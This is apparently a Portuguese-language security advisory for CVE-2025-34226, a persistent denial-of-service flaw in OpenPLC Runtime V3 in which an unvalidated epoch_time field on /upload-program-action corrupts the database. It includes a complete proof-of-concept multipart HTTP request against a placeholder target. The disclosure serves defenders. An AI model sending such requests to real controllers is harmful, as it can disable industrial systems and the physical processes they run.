
O OpenPLC Runtime sofre de uma vulnerabilidade persistente de negação de serviço (DoS) no endpoint /upload-program-action.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-34226 |
| Afeta | OpenPLC Runtime V3 |
| Corrigido em | (commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Gravidade | Alta |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta) |
| CWE | CWE-664 Controle Impróprio de um Recurso Durante Sua Vida Útil, CWE-20 Validação de Entrada Imprópria |
O OpenPLC Runtime sofre de uma vulnerabilidade persistente de negação de serviço (DoS) no endpoint /upload-program-action.
Ao modificar o parâmetro epoch_time durante o upload do programa, um usuário autenticado com privilégios baixos pode corromper o banco de dados do backend.
Essa corrupção inicialmente desabilita páginas críticas e eventualmente impede que todo o runtime seja iniciado, efetivamente tornando a aplicação inutilizável até que seja reinstalada.
O endpoint /upload-program-action aceita um campo epoch_time que é escrito diretamente no banco de dados sem validação.
Quando este campo é definido com um valor criado ou sem sentido (ex.: 1758627838 ou dados malformados), o OpenPLC armazena um estado inconsistente.
Ao recarregar ou reiniciar o runtime, a aplicação consulta a linha corrompida e encontra um objeto NoneType → falha fatal (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programsDescoberto por: Eyodav